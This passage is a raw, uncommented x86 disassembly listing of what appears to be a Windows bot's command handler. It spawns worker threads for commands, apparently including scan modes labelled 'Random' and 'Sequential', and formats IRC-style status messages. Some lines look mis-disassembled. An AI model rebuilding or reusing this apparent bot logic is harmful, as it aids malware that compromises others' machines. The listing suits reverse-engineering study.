		call	sub_411963
		push	ebx
		lea	eax, [ebp-2E4h]
		push	0Fh
		push	eax
		call	sub_41140F
		add	esp, 30h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-408h]
		push	ebx
		push	eax
		push	40815Eh
		push	ebx
		push	ebx
		call	ds:dword_41D064	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_437034[ecx], eax
		jz	short loc_40C93A


loc_40C924:				; CODE XREF: seg000:0040C938j
		cmp	[ebp-2E8h], ebx
		jnz	loc_40C819
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_40C924
; ---------------------------------------------------------------------------


loc_40C93A:				; CODE XREF: seg000:0040C922j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42CE84
		jmp	loc_40D3A9
; ---------------------------------------------------------------------------


loc_40C94B:				; CODE XREF: seg000:0040C0F1j
					; seg000:0040C108j
		push	8
		call	sub_411657
		push	dword ptr [ebp+20h]
		mov	[ebp+18h], eax
		call	sub_411ECF
		add	eax, [ebp+18h]
		pop	ecx
		pop	ecx
		cmp	eax, 12Ch
		jle	short loc_40C99E
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2E4h]
		push	offset dword_42CE30
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466


loc_40C996:				; CODE XREF: seg000:0040DD23j
		add	esp, 20h
		jmp	loc_40F247
; ---------------------------------------------------------------------------


loc_40C99E:				; CODE XREF: seg000:0040C967j
		push	edi
		call	sub_411ECF
		push	dword ptr [ebp+20h]
		mov	[ebp-31Ch], eax
		call	sub_411ECF
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_411ECF
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp-318h], eax
		jnb	short loc_40C9D7
		push	1
		pop	eax
		mov	[ebp-318h], eax


loc_40C9D7:				; CODE XREF: seg000:0040C9CCj
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40C9E4
		mov	[ebp-318h], ecx


loc_40C9E4:				; CODE XREF: seg000:0040C9DCj
		push	dword ptr [ebp+10h]
		call	sub_411ECF
		cmp	eax, 1F4h
		pop	ecx
		mov	[ebp-314h], eax
		jbe	short loc_40CA04
		mov	dword ptr [ebp-314h], 1F4h


loc_40CA04:				; CODE XREF: seg000:0040C9F8j
		or	dword ptr [ebp-300h], 0FFFFFFFFh
		cmp	ds:dword_421040, ebx
		mov	[ebp+10h], ebx
		jz	short loc_40CA5A
		mov	dword ptr [ebp+2Ch], offset dword_421040


loc_40CA1D:				; CODE XREF: seg000:0040CA3Cj
		mov	eax, [ebp+2Ch]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40CA40
		add	dword ptr [ebp+2Ch], 3Ch
		inc	dword ptr [ebp+10h]
		mov	eax, [ebp+2Ch]
		cmp	[eax], ebx
		jnz	short loc_40CA1D
		jmp	short loc_40CA5A
; ---------------------------------------------------------------------------


loc_40CA40:				; CODE XREF: seg000:0040CA2Ej
		mov	eax, [ebp+10h]
		mov	ecx, eax
		mov	[ebp-300h], eax
		imul	ecx, 3Ch
		mov	ecx, ds:dword_421040[ecx]
		mov	[ebp-31Ch], ecx


loc_40CA5A:				; CODE XREF: seg000:0040CA14j
					; seg000:0040CA3Ej
		cmp	[ebp-31Ch], ebx
		jz	loc_40E62C
		mov	edi, [ebp+esi-80h]
		cmp	edi, ebx
		mov	[ebp+20h], edi
		jz	short loc_40CAA1
		cmp	byte ptr [edi],	23h
		jz	short loc_40CAA1
		push	edi
		lea	eax, [ebp-430h]
		push	10h
		push	eax
		call	sub_411EDA
		push	78h
		push	edi
		call	sub_413BB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp-2F0h], eax
		jmp	loc_40CB75
; ---------------------------------------------------------------------------


loc_40CAA1:				; CODE XREF: seg000:0040CA6Fj
					; seg000:0040CA74j
		cmp	[ebp-9B3h], bl
		jnz	short loc_40CAC3
		cmp	[ebp-9B2h], bl
		jnz	short loc_40CAC3
		cmp	[ebp-9A2h], bl
		jnz	short loc_40CAC3
		push	offset dword_42CDE4
		jmp	loc_40EA1D
; ---------------------------------------------------------------------------


loc_40CAC3:				; CODE XREF: seg000:0040CAA7j
					; seg000:0040CAAFj ...
		push	10h
		lea	eax, [ebp+8]
		pop	edi
		push	eax
		lea	eax, [ebp-0D8h]
		push	eax
		mov	[ebp+8], edi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_431E34
		mov	al, [ebp-9B3h]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-0D4h], eax
		push	dword ptr [ebp-0D4h]
		call	ds:dword_431F1C
		push	eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_413150
		add	esp, 0Ch
		cmp	[ebp-9A2h], bl
		jz	short loc_40CB6F
		xor	eax, eax
		cmp	[ebp-9B3h], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_413450
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	[ebp+2Fh], bl
		jle	short loc_40CB63


loc_40CB41:				; CODE XREF: seg000:0040CB61j
		cmp	eax, ebx
		jz	short loc_40CB63
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-430h]
		push	30h
		push	eax
		call	sub_413450
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_40CB41


loc_40CB63:				; CODE XREF: seg000:0040CB3Fj
					; seg000:0040CB43j
		mov	dword ptr [ebp-2F0h], 1
		jmp	short loc_40CB75
; ---------------------------------------------------------------------------


loc_40CB6F:				; CODE XREF: seg000:0040CB19j
		mov	[ebp-2F0h], ebx


loc_40CB75:				; CODE XREF: seg000:0040CA9Cj
					; seg000:0040CB6Dj
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-8Ch]
		mov	[ebp-320h], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F8h], eax
		mov	eax, [ebp-8]
		mov	[ebp-2F4h], eax
		mov	edi, 80h
		lea	eax, [ebp-420h]
		push	edi
		push	eax
		call	sub_411EDA
		mov	esi, [ebp+esi-7Ch]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40CBC6


loc_40CBB3:				; CODE XREF: seg000:0040CBE9j
		push	esi


loc_40CBB4:				; CODE XREF: seg000:0040CBD3j
		lea	eax, [ebp-3A0h]
		push	edi
		push	eax
		call	sub_411EDA
		add	esp, 0Ch
		jmp	short loc_40CBF1
; ---------------------------------------------------------------------------


loc_40CBC6:				; CODE XREF: seg000:0040CBB1j
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jz	short loc_40CBD5
		cmp	byte ptr [eax],	23h
		jnz	short loc_40CBD5
		push	eax
		jmp	short loc_40CBB4
; ---------------------------------------------------------------------------


loc_40CBD5:				; CODE XREF: seg000:0040CBCBj
					; seg000:0040CBD0j
		mov	esi, offset dword_424424
		push	offset byte_430AD0
		push	esi
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CBB3
		mov	[ebp-3A0h], bl


loc_40CBF1:				; CODE XREF: seg000:0040CBC4j
		cmp	[ebp-2F0h], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_40CC03
		mov	eax, offset aSequential	; "Sequential"


loc_40CC03:				; CODE XREF: seg000:0040CBFCj
		push	dword ptr [ebp-304h]
		lea	ecx, [ebp-430h]
		push	dword ptr [ebp-314h]
		push	dword ptr [ebp-318h]
		push	dword ptr [ebp-31Ch]
		push	ecx
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42CD58
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-2E4h]
		push	8
		push	eax
		call	sub_41140F
		add	esp, 2Ch
		mov	[ebp-310h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-430h]
		push	ebx
		push	eax
		push	offset sub_406142
		push	ebx
		push	ebx
		call	ds:dword_41D064	; CreateThread
		mov	ecx, [ebp-310h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_437034[ecx], eax
		jz	short loc_40CC91


loc_40CC7B:				; CODE XREF: seg000:0040CC8Fj
		cmp	[ebp-2ECh], ebx
		jnz	loc_40C3DA
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_40CC7B
; ---------------------------------------------------------------------------


loc_40CC91:				; CODE XREF: seg000:0040CC79j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42CD0C
		jmp	loc_40C3CB
; ---------------------------------------------------------------------------


loc_40CCA2:				; CODE XREF: seg000:0040C0B1j
					; seg000:0040C0C8j
		push	edi
		call	sub_411ECF
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_437038[eax], bl
		jz	loc_40F247
		cmp	[ebp-0Ch], ebx
		jz	loc_40F247
		push	dword ptr [ebp+20h]
		call	sub_411FB0
		push	edi
		mov	esi, eax
		call	sub_411FB0
		push	dword ptr [ebp+18h]
		add	esi, eax
		call	sub_411FB0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_411F30
		mov	esi, eax
		lea	eax, [ebp-2E4h]
		push	esi
		push	offset dword_42CD00
		push	eax
		call	sub_411963
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_40F247
		push	edi
		call	sub_411ECF
		test	eax, eax
		pop	ecx
		jle	loc_40F247
		push	edi
		call	sub_411ECF
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40F247
		push	ebx
		lea	eax, [ebp-2E4h]
		push	ebx
		push	eax
		push	dword ptr [ebp+20h]
		push	edi
		call	sub_411ECF
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43702C[eax]
		call	sub_40F466
		push	edi
		call	sub_411ECF
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_436E20[eax], 73h
		jnz	loc_40F247
		push	esi
		push	edi
		call	sub_411ECF
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_437038
		push	eax
		push	dword ptr [ebp+20h]
		push	offset aSSS_1	; "[%s]	* %s %s"


loc_40CD8A:				; CODE XREF: seg000:0040CE87j
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466


loc_40CDAF:				; CODE XREF: seg000:0040EAE5j
		add	esp, 28h
		jmp	loc_40F247
; ---------------------------------------------------------------------------


loc_40CDB7:				; CODE XREF: seg000:0040C083j
					; seg000:0040C09Aj
		push	edi
		call	sub_411ECF
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_437038[eax], bl
		jz	loc_40F247
		cmp	[ebp-0Ch], ebx
		jz	loc_40F247
		push	dword ptr [ebp+20h]
		call	sub_411FB0
		push	edi
		mov	esi, eax
		call	sub_411FB0
		push	dword ptr [ebp+18h]
		add	esi, eax
		call	sub_411FB0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_411F30
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_40F247
		push	edi
		call	sub_411ECF
		test	eax, eax
		pop	ecx
		jle	loc_40F247
		push	edi
		call	sub_411ECF
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40F247
		push	ebx
		push	ebx
		push	esi
		push	dword ptr [ebp+20h]
		push	edi
		call	sub_411ECF
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43702C[eax]
		call	sub_40F466
		push	edi
		call	sub_411ECF
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_436E20[eax], 73h
		jnz	loc_40F247
		push	esi
		push	edi
		call	sub_411ECF
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_437038
		push	eax
		push	dword ptr [ebp+20h]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_40CD8A
; ---------------------------------------------------------------------------


loc_40CE8C:				; CODE XREF: seg000:0040C055j
					; seg000:0040C06Cj
		push	edi
		call	ds:dword_431ED0
		push	dword ptr [ebp+20h]
		mov	[ebp-460h], eax
		call	sub_411ECF
		push	dword ptr [ebp+8]
		mov	[ebp-46Ch], eax
		call	sub_411ECF
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-468h], eax
		lea	eax, [ebp-4ECh]
		mov	[ebp-4F0h], esi
		push	eax
		call	sub_413150
		add	esp, 14h
		mov	edi, [ebp-4]
		mov	eax, [ebp-8]
		mov	[ebp-458h], edi
		push	dword ptr [ebp-468h]
		mov	[ebp-454h], eax
		push	dword ptr [ebp-46Ch]
		push	dword ptr [ebp-460h]
		call	ds:dword_431F1C
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset unk_42CC90
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-2E4h]
		push	8
		push	eax
		call	sub_41140F
		add	esp, 20h
		mov	[ebp-464h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4F0h]
		push	ebx
		push	eax
		push	offset sub_410C83
		push	ebx
		push	ebx
		call	ds:dword_41D064	; CreateThread
		mov	ecx, [ebp-464h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_437034[ecx], eax
		jz	short loc_40CF6E


loc_40CF58:				; CODE XREF: seg000:0040CF6Cj
		cmp	[ebp-450h], ebx
		jnz	loc_40E8FE
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_40CF58
; ---------------------------------------------------------------------------


loc_40CF6E:				; CODE XREF: seg000:0040CF56j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CC40
		jmp	loc_40E8EF
; ---------------------------------------------------------------------------


loc_40CF7F:				; CODE XREF: seg000:0040C027j
					; seg000:0040C03Ej
		push	edi
		call	sub_411ECF
		push	7Fh
		mov	[ebp-300h], eax
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-404h]
		push	eax
		call	sub_413150
		push	dword ptr [ebp+8]
		call	sub_411ECF
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp+0Ch]
		mov	[ebp-304h], eax
		lea	eax, [ebp-384h]
		push	80h
		push	eax
		mov	[ebp-40Ch], esi
		call	sub_411EDA
		mov	eax, [ebp-8]
		add	esp, 20h
		mov	edi, [ebp-4]
		mov	[ebp-2F0h], eax
		push	dword ptr [ebp-304h]
		lea	eax, [ebp-404h]
		mov	[ebp-2F4h], edi
		push	eax
		push	dword ptr [ebp-300h]
		push	esi
		call	sub_407F2C
		pop	ecx
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset unk_42CBF0
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-2E4h]
		push	10h
		push	eax
		call	sub_41140F
		add	esp, 24h
		mov	[ebp-2FCh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-40Ch]
		push	ebx
		push	eax
		push	offset sub_4063A1
		push	ebx
		push	ebx
		call	ds:dword_41D064	; CreateThread
		mov	ecx, [ebp-2FCh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_437034[ecx], eax
		jz	short loc_40D068


loc_40D052:				; CODE XREF: seg000:0040D066j
		cmp	[ebp-2ECh], ebx
		jnz	loc_40E8FE
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_40D052
; ---------------------------------------------------------------------------


loc_40D068:				; CODE XREF: seg000:0040D050j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CB9C
		jmp	loc_40E8EF
; ---------------------------------------------------------------------------


loc_40D079:				; CODE XREF: seg000:0040BFF9j
					; seg000:0040C010j
		push	0FFh
		lea	eax, [ebp-788h]
		push	edi
		push	eax
		call	sub_413150
		push	0FFh
		lea	eax, [ebp-688h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_413150
		push	dword ptr [ebp+8]
		mov	[ebp-584h], ebx
		call	sub_411ECF
		mov	[ebp-580h], eax
		mov	eax, [ebp+esi-84h]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_40D0D5
		push	10h
		push	ebx
		push	eax
		call	sub_412D19
		add	esp, 0Ch
		mov	[ebp-578h], eax
		jmp	short loc_40D0DB
; ---------------------------------------------------------------------------


loc_40D0D5:				; CODE XREF: seg000:0040D0BFj
		mov	[ebp-578h], ebx


loc_40D0DB:				; CODE XREF: seg000:0040D0D3j
		mov	esi, [ebp+esi-80h]
		cmp	esi, ebx
		jz	short loc_40D0F2
		push	esi
		call	sub_411ECF
		pop	ecx
		mov	[ebp-57Ch], eax
		jmp	short loc_40D0F8
; ---------------------------------------------------------------------------


loc_40D0F2:				; CODE XREF: seg000:0040D0E1j
		mov	[ebp-57Ch], ebx


loc_40D0F8:				; CODE XREF: seg000:0040D0F0j
		movzx	eax, byte ptr [ebp-9AFh]
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-574h], eax
		lea	eax, [ebp-808h]
		mov	[ebp-80Ch], esi
		push	eax
		call	sub_413150
		mov	eax, [ebp-4]
		push	dword ptr [ebp+20h]
		mov	[ebp-56Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-570h], eax
		push	edi
		lea	eax, [ebp-2E4h]
		push	offset unk_42CB5C
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp-2E4h]
		push	15h
		push	eax
		call	sub_41140F
		add	esp, 28h
		mov	[ebp-588h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-80Ch]
		push	ebx
		push	eax
		push	offset sub_40902A
		push	ebx
		push	ebx
		call	ds:dword_41D064	; CreateThread
		mov	ecx, [ebp-588h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_437034[ecx], eax
		jz	short loc_40D1A6


loc_40D190:				; CODE XREF: seg000:0040D1A4j
		cmp	[ebp-568h], ebx
		jnz	loc_40C819
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_40D190
; ---------------------------------------------------------------------------


loc_40D1A6:				; CODE XREF: seg000:0040D18Ej
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CB08
		jmp	loc_40D3A9
; ---------------------------------------------------------------------------


loc_40D1B7:				; CODE XREF: seg000:0040BFCBj
					; seg000:0040BFE2j
		push	7Fh
		lea	eax, [ebp-774h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_413150
		push	esi
		lea	eax, [ebp-6F4h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_413150
		push	esi
		lea	eax, [ebp-674h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_413150
		push	esi
		lea	eax, [ebp-5F4h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_413150
		mov	eax, [ebp-8]
		push	dword ptr [ebp+8]
		mov	esi, [ebp-4]
		mov	[ebp-56Ch], eax
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp+20h]
		mov	[ebp-778h], eax
		lea	eax, [ebp-2E4h]
		push	edi
		push	offset dword_42CAC8
		push	eax
		mov	[ebp-570h], esi
		call	sub_411963
		add	esp, 44h
		lea	eax, [ebp-2E4h]
		push	ebx
		push	0Bh
		push	eax
		call	sub_41140F
		add	esp, 0Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-778h]
		push	ebx
		push	eax
		push	offset sub_40182E
		push	ebx
		push	ebx
		call	ds:dword_41D064	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_437034[ecx], eax
		jz	short loc_40D28A


loc_40D278:				; CODE XREF: seg000:0040D288j
		cmp	[ebp-568h], ebx
		jnz	short loc_40D2A5
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_40D278
; ---------------------------------------------------------------------------


loc_40D28A:				; CODE XREF: seg000:0040D276j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42CA7C
		push	eax
		call	sub_411963
		add	esp, 0Ch


loc_40D2A5:				; CODE XREF: seg000:0040D27Ej
		cmp	[ebp-8], ebx
		jnz	loc_40C3FB
		push	ebx
		push	esi
		jmp	loc_40C3E3
; ---------------------------------------------------------------------------


loc_40D2B5:				; CODE XREF: seg000:0040BF86j
					; seg000:0040BF9Dj ...
		push	7Fh
		lea	eax, [ebp-7F0h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_413150
		push	esi
		lea	eax, [ebp-770h]
		push	dword ptr [ebp+20h]
		push	eax
		call	sub_413150
		push	esi
		lea	eax, [ebp-6F0h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_413150
		push	esi
		lea	eax, [ebp-670h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_413150
		push	20h
		lea	eax, [ebp-5F0h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_413150
		mov	eax, [ebp-4]
		push	dword ptr [ebp+8]
		mov	esi, [ebp+0Ch]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		push	dword ptr [ebp+20h]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-2E4h]
		push	edi
		push	offset unk_42CA38
		push	eax
		mov	[ebp-7F8h], esi
		call	sub_411963
		add	esp, 50h
		lea	eax, [ebp-2E4h]
		push	ebx
		push	0Ah
		push	eax
		call	sub_41140F
		add	esp, 0Ch
		mov	[ebp-7F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-7F8h]
		push	ebx
		push	eax
		push	offset start
		push	ebx
		push	ebx
		call	ds:dword_41D064	; CreateThread
		mov	ecx, [ebp-7F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_437034[ecx], eax
		jz	short loc_40D39D


loc_40D387:				; CODE XREF: seg000:0040D39Bj
		cmp	[ebp-568h], ebx
		jnz	loc_40C819
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_40D387
; ---------------------------------------------------------------------------


loc_40D39D:				; CODE XREF: seg000:0040D385j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C9EC


loc_40D3A9:				; CODE XREF: seg000:0040C7FBj
					; seg000:0040C946j ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_411963
		jmp	loc_40C816
; ---------------------------------------------------------------------------


loc_40D3BA:				; CODE XREF: seg000:0040BF58j
					; seg000:0040BF6Fj
		push	7Fh
		lea	eax, [ebp-444h]
		push	edi
		push	eax
		call	sub_413150
		push	dword ptr [ebp+20h]
		call	sub_411ECF
		push	3Fh
		mov	[ebp-2F4h], eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-3C4h]
		push	eax
		call	sub_413150
		mov	esi, [ebp+esi-84h]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_40D408
		push	3Fh
		lea	eax, [ebp-384h]
		push	esi
		push	eax
		call	sub_413150
		add	esp, 0Ch


loc_40D408:				; CODE XREF: seg000:0040D3F4j
		lea	eax, [ebp-3C4h]
		mov	dword ptr [ebp-2F0h], 1
		push	eax
		lea	eax, [ebp-444h]
		push	dword ptr [ebp-2F4h]
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset unk_42C9A8
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-2E4h]
		push	17h
		push	eax
		call	sub_41140F
		add	esp, 20h
		mov	[ebp-2ECh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-448h]
		push	ebx
		push	eax
		push	offset sub_409EB0
		push	ebx
		push	ebx
		call	ds:dword_41D064	; CreateThread
		mov	ecx, [ebp-2ECh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_437034[ecx], eax
		jz	short loc_40D494


loc_40D47E:				; CODE XREF: seg000:0040D492j
		cmp	[ebp-2E8h], ebx
		jnz	loc_40C33C
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_40D47E
; ---------------------------------------------------------------------------


loc_40D494:				; CODE XREF: seg000:0040D47Cj
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C95C
		jmp	loc_40C32D
; ---------------------------------------------------------------------------


loc_40D4A5:				; CODE XREF: seg000:0040BF18j
					; seg000:0040BF2Fj
		push	dword ptr [ebp+20h]
		call	sub_411ECF
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-578h], eax
		jle	loc_40D596
		mov	esi, 80h
		push	edi
		lea	eax, [ebp-700h]
		push	esi
		push	eax
		call	sub_411EDA
		xor	eax, eax
		cmp	[ebp-9A2h], bl
		push	dword ptr [ebp-8Ch]
		setnz	al
		mov	[ebp-574h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-704h], eax
		lea	eax, [ebp-600h]
		push	esi
		push	eax
		call	sub_411EDA
		mov	eax, [ebp-4]
		push	dword ptr [ebp+20h]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		push	edi
		push	offset unk_42C91C
		lea	eax, [ebp-2E4h]
		push	200h
		push	eax
		call	sub_411EDA
		push	ebx
		lea	eax, [ebp-2E4h]
		push	0Dh
		push	eax
		call	sub_41140F
		add	esp, 38h
		mov	[ebp-580h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-704h]
		push	ebx
		push	eax
		push	offset loc_401447
		push	ebx
		push	ebx
		call	ds:dword_41D064	; CreateThread
		mov	ecx, [ebp-580h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_437034[ecx], eax
		jz	short loc_40D585


loc_40D56F:				; CODE XREF: seg000:0040D583j
		cmp	[ebp-568h], ebx
		jnz	loc_40C3DA
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_40D56F
; ---------------------------------------------------------------------------


loc_40D585:				; CODE XREF: seg000:0040D56Dj
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C8D0
		jmp	loc_40C3CB
; ---------------------------------------------------------------------------


loc_40D596:				; CODE XREF: seg000:0040D4B6j
		push	offset unk_42C884
		jmp	loc_40EA1D
; ---------------------------------------------------------------------------


loc_40D5A0:				; CODE XREF: seg000:0040BEEAj
					; seg000:0040BF01j
		push	dword ptr [ebp+20h]
		push	edi
		call	near ptr 0A70000h
		movsb
		test	eax, eax
		jz	short loc_40D5CD
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2E4h]
		push	edi
		push	offset unk_42C84C
		push	200h
		push	eax
		call	sub_411EDA
		add	esp, 14h
		jmp	short loc_40D5EC
; ---------------------------------------------------------------------------


loc_40D5CD:				; CODE XREF: seg000:0040D5ACj
		push	offset dword_42C82C
		call	sub_4079C3
		push	eax
		lea	eax, [ebp-2E4h]
		push	200h
		push	eax
		call	sub_411EDA
		add	esp, 10h


loc_40D5EC:				; CODE XREF: seg000:0040D5CBj
					; seg000:0040E0B1j ...
		cmp	[ebp-8], ebx
		jnz	short loc_40D60D
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		add	esp, 14h


loc_40D60D:				; CODE XREF: seg000:0040B255j
					; seg000:0040D5EFj ...
		push	1
		pop	esi


loc_40D610:				; CODE XREF: seg000:0040D878j
					; seg000:0040DFDCj ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_408CFE
		pop	ecx
		mov	eax, esi
		jmp	loc_40A60E
; ---------------------------------------------------------------------------


loc_40D624:				; CODE XREF: seg000:0040BEBCj
					; seg000:0040BED3j
		push	44h
		lea	eax, [ebp-48Ch]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_4119E0
		push	1
		mov	[ebp-48Ch], esi
		pop	esi
		mov	[ebp-45Ch], bx
		push	edi
		mov	[ebp-460h], esi
		call	sub_411ECF
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_40D661
		mov	word ptr [ebp-45Ch], 5


loc_40D661:				; CODE XREF: seg000:0040D656j
		cmp	[ebp-0Ch], ebx
		jz	loc_40C33C
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_411F30
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_40C33C
		lea	eax, [ebp-0D8h]
		push	eax
		lea	eax, [ebp-48Ch]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 0A70000h
		mov	eax, 1875C085h
		push	offset unk_42C7F4


loc_40D6A7:				; CODE XREF: seg000:0040B9A5j
					; seg000:0040BA29j ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx
		jmp	loc_40C33C
; ---------------------------------------------------------------------------
		push	edi
		push	offset dword_42C7C8
		jmp	loc_40C32D
; ---------------------------------------------------------------------------


loc_40D6C5:				; CODE XREF: seg000:0040BE8Ej
					; seg000:0040BEA5j
